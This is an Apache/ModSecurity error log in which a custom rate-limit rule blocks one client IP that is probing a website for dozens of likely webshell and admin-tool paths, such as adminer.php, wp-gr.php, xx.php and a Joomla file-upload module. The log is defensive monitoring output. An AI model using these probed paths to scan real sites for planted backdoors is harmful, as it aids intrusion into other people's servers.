[Mon Mar 30 03:49:52.992524 2026] [:error] [pid 4139:tid 4171] [client 51.120.74.80:16808] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "acmCYIYyhg47TZoaP9LwVgAAANg"]
[Mon Mar 30 03:49:53.526467 2026] [:error] [pid 4034:tid 4083] [client 51.120.74.80:52197] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "acmCYbfAq8eF_uU4gu2DUQAAAEI"]
[Mon Mar 30 03:49:54.172307 2026] [:error] [pid 4034:tid 4103] [client 51.120.74.80:49292] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "acmCYrfAq8eF_uU4gu2DUwAAAFY"]
[Mon Mar 30 03:49:54.713995 2026] [:error] [pid 55884:tid 55956] [client 51.120.74.80:24754] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "acmCYjjuYLVkve3VbhxgawAAAQM"]
[Mon Mar 30 03:49:55.256107 2026] [:error] [pid 4033:tid 4071] [client 51.120.74.80:35042] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "acmCY6nf-DXI9VblHi0cNAAAABI"]
[Mon Mar 30 03:49:55.896991 2026] [:error] [pid 4040:tid 4113] [client 51.120.74.80:45158] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "acmCYwxlbJV8kpOpFvY7-gAAAIU"]
[Mon Mar 30 03:49:56.492511 2026] [:error] [pid 4033:tid 4073] [client 51.120.74.80:35029] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "acmCZKnf-DXI9VblHi0cOgAAABQ"]
[Mon Mar 30 03:49:57.071077 2026] [:error] [pid 4034:tid 4099] [client 51.120.74.80:48451] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "acmCZbfAq8eF_uU4gu2DWQAAAFI"]
[Mon Mar 30 03:49:57.626642 2026] [:error] [pid 4033:tid 4063] [client 51.120.74.80:45127] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "acmCZanf-DXI9VblHi0cPQAAAAo"]
[Mon Mar 30 03:49:58.145006 2026] [:error] [pid 4033:tid 4073] [client 51.120.74.80:35056] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "acmCZqnf-DXI9VblHi0cRAAAABQ"]
[Mon Mar 30 03:49:58.705373 2026] [:error] [pid 4040:tid 4125] [client 51.120.74.80:55853] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "acmCZgxlbJV8kpOpFvY8BwAAAJE"]
[Mon Mar 30 03:49:59.334498 2026] [:error] [pid 4040:tid 4117] [client 51.120.74.80:35016] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "acmCZwxlbJV8kpOpFvY8CwAAAIk"]
[Mon Mar 30 03:49:59.865943 2026] [:error] [pid 4040:tid 4121] [client 51.120.74.80:55858] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "acmCZwxlbJV8kpOpFvY8EwAAAI0"]
[Mon Mar 30 03:50:00.384608 2026] [:error] [pid 4040:tid 4116] [client 51.120.74.80:52199] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-gr.php"] [unique_id "acmCaAxlbJV8kpOpFvY8FgAAAIg"]
[Mon Mar 30 03:50:00.958049 2026] [:error] [pid 55884:tid 55969] [client 51.120.74.80:4180] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-gr.php"] [unique_id "acmCaDjuYLVkve3VbhxgeQAAARA"]
[Mon Mar 30 03:50:20.183809 2026] [:error] [pid 4033:tid 4073] [client 51.120.74.80:4208] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13k.php"] [unique_id "acmCfKnf-DXI9VblHi0cygAAABQ"]
[Mon Mar 30 03:50:20.828538 2026] [:error] [pid 4033:tid 4064] [client 51.120.74.80:26736] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13k.php"] [unique_id "acmCfKnf-DXI9VblHi0c1AAAAAs"]
[Mon Mar 30 03:50:21.701871 2026] [:error] [pid 55884:tid 55977] [client 51.120.74.80:53173] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13k.php"] [unique_id "acmCfTjuYLVkve3VbhxgzgAAARg"]
[Mon Mar 30 03:50:22.429793 2026] [:error] [pid 4033:tid 4075] [client 51.120.74.80:42652] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13k.php"] [unique_id "acmCfqnf-DXI9VblHi0c6wAAABY"]
[Mon Mar 30 03:50:23.332191 2026] [:error] [pid 4033:tid 4071] [client 51.120.74.80:23834] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "acmCf6nf-DXI9VblHi0c8QAAABI"]
[Mon Mar 30 03:50:23.922378 2026] [:error] [pid 4033:tid 4072] [client 51.120.74.80:39500] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "acmCf6nf-DXI9VblHi0c9AAAABM"]
[Mon Mar 30 03:50:24.461945 2026] [:error] [pid 4033:tid 4054] [client 51.120.74.80:31930] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "acmCgKnf-DXI9VblHi0c-QAAAAE"]
[Mon Mar 30 03:50:25.063039 2026] [:error] [pid 55884:tid 55963] [client 51.120.74.80:36365] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "acmCgTjuYLVkve3Vbhxg2gAAAQo"]
[Mon Mar 30 03:50:25.685270 2026] [:error] [pid 4033:tid 4066] [client 51.120.74.80:27253] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "acmCganf-DXI9VblHi0c_gAAAA0"]
[Mon Mar 30 03:50:26.385062 2026] [:error] [pid 4033:tid 4065] [client 51.120.74.80:55827] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "acmCgqnf-DXI9VblHi0dBQAAAAw"]
[Mon Mar 30 03:50:27.031669 2026] [:error] [pid 4033:tid 4066] [client 51.120.74.80:26714] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "acmCg6nf-DXI9VblHi0dCwAAAA0"]
[Mon Mar 30 03:50:27.831136 2026] [:error] [pid 4033:tid 4070] [client 51.120.74.80:31884] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "acmCg6nf-DXI9VblHi0dDgAAABE"]
[Mon Mar 30 03:50:28.403463 2026] [:error] [pid 4139:tid 4159] [client 51.120.74.80:24736] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "acmChIYyhg47TZoaP9LwxQAAAMw"]
[Mon Mar 30 03:50:29.209363 2026] [:error] [pid 4033:tid 4057] [client 51.120.74.80:47489] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "acmChanf-DXI9VblHi0dFQAAAAQ"]
[Mon Mar 30 03:50:29.831223 2026] [:error] [pid 4033:tid 4066] [client 51.120.74.80:27259] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "acmChanf-DXI9VblHi0dFwAAAA0"]
[Mon Mar 30 03:50:30.436735 2026] [:error] [pid 4033:tid 4061] [client 51.120.74.80:41199] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "acmChqnf-DXI9VblHi0dGwAAAAg"]
[Mon Mar 30 03:50:31.169892 2026] [:error] [pid 4040:tid 4130] [client 51.120.74.80:4220] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mn.php"] [unique_id "acmChwxlbJV8kpOpFvY8YgAAAJY"]
[Mon Mar 30 03:50:31.798644 2026] [:error] [pid 4033:tid 4071] [client 51.120.74.80:55867] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mn.php"] [unique_id "acmCh6nf-DXI9VblHi0dJAAAABI"]
[Mon Mar 30 03:50:32.448249 2026] [:error] [pid 4033:tid 4074] [client 51.120.74.80:31894] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mn.php"] [unique_id "acmCiKnf-DXI9VblHi0dKwAAABU"]
[Mon Mar 30 03:50:33.040721 2026] [:error] [pid 4033:tid 4055] [client 51.120.74.80:41155] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mn.php"] [unique_id "acmCianf-DXI9VblHi0dMAAAAAI"]
[Mon Mar 30 03:50:33.592358 2026] [:error] [pid 55884:tid 55973] [client 51.120.74.80:29345] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "acmCiTjuYLVkve3Vbhxg5QAAARQ"]
[Mon Mar 30 03:50:34.219835 2026] [:error] [pid 4033:tid 4060] [client 51.120.74.80:45549] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "acmCiqnf-DXI9VblHi0dPgAAAAc"]
[Mon Mar 30 03:50:34.839422 2026] [:error] [pid 4033:tid 4055] [client 51.120.74.80:31898] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "acmCiqnf-DXI9VblHi0dQQAAAAI"]
[Mon Mar 30 03:50:35.521296 2026] [:error] [pid 4139:tid 4163] [client 51.120.74.80:26744] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "acmCi4Yyhg47TZoaP9Lw2wAAANA"]
[Mon Mar 30 03:50:36.167524 2026] [:error] [pid 4034:tid 4101] [client 51.120.74.80:55856] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "acmCjLfAq8eF_uU4gu2DigAAAFQ"]
[Mon Mar 30 03:50:36.698974 2026] [:error] [pid 4139:tid 4156] [client 51.120.74.80:35098] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "acmCjIYyhg47TZoaP9Lw3wAAAMk"]
[Mon Mar 30 03:50:37.279186 2026] [:error] [pid 55884:tid 55973] [client 51.120.74.80:23812] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "acmCjTjuYLVkve3Vbhxg8gAAARQ"]
[Mon Mar 30 03:50:37.911123 2026] [:error] [pid 55884:tid 55968] [client 51.120.74.80:47532] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "acmCjTjuYLVkve3Vbhxg-AAAAQ8"]
[Mon Mar 30 03:50:38.550152 2026] [:error] [pid 55884:tid 55955] [client 51.120.74.80:30570] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/languages/index.php"] [unique_id "acmCjjjuYLVkve3Vbhxg-wAAAQI"]
[Mon Mar 30 03:50:39.208188 2026] [:error] [pid 4139:tid 4155] [client 51.120.74.80:4209] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/languages/index.php"] [unique_id "acmCj4Yyhg47TZoaP9Lw4wAAAMg"]
[Mon Mar 30 03:50:39.818792 2026] [:error] [pid 55884:tid 55960] [client 51.120.74.80:35086] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/languages/index.php"] [unique_id "acmCjzjuYLVkve3VbhxhCQAAAQc"]
[Mon Mar 30 03:50:40.447655 2026] [:error] [pid 55884:tid 55974] [client 51.120.74.80:35089] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/languages/index.php"] [unique_id "acmCkDjuYLVkve3VbhxhDAAAARU"]
[Mon Mar 30 03:50:41.047938 2026] [:error] [pid 4033:tid 4058] [client 51.120.74.80:23863] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "acmCkanf-DXI9VblHi0dYgAAAAU"]
[Mon Mar 30 03:50:41.664119 2026] [:error] [pid 4139:tid 4158] [client 51.120.74.80:32973] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "acmCkYYyhg47TZoaP9Lw8QAAAMs"]
[Mon Mar 30 03:50:42.211939 2026] [:error] [pid 4033:tid 4063] [client 51.120.74.80:39523] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "acmCkqnf-DXI9VblHi0dbwAAAAo"]
[Mon Mar 30 03:50:42.900947 2026] [:error] [pid 55884:tid 55967] [client 51.120.74.80:26689] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "acmCkjjuYLVkve3VbhxhDQAAAQ4"]
[Mon Mar 30 03:50:43.655763 2026] [:error] [pid 4033:tid 4062] [client 51.120.74.80:42685] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gelay.php"] [unique_id "acmCk6nf-DXI9VblHi0deQAAAAk"]
[Mon Mar 30 03:50:44.355950 2026] [:error] [pid 4033:tid 4057] [client 51.120.74.80:23849] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gelay.php"] [unique_id "acmClKnf-DXI9VblHi0dgAAAAAQ"]
[Mon Mar 30 03:50:45.086394 2026] [:error] [pid 4139:tid 4154] [client 51.120.74.80:39537] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gelay.php"] [unique_id "acmClYYyhg47TZoaP9Lw-gAAAMc"]
[Mon Mar 30 03:50:45.798741 2026] [:error] [pid 4033:tid 4058] [client 51.120.74.80:35123] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gelay.php"] [unique_id "acmClanf-DXI9VblHi0digAAAAU"]
[Mon Mar 30 03:50:46.412191 2026] [:error] [pid 4139:tid 4165] [client 51.120.74.80:47836] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "acmCloYyhg47TZoaP9Lw_wAAANI"]
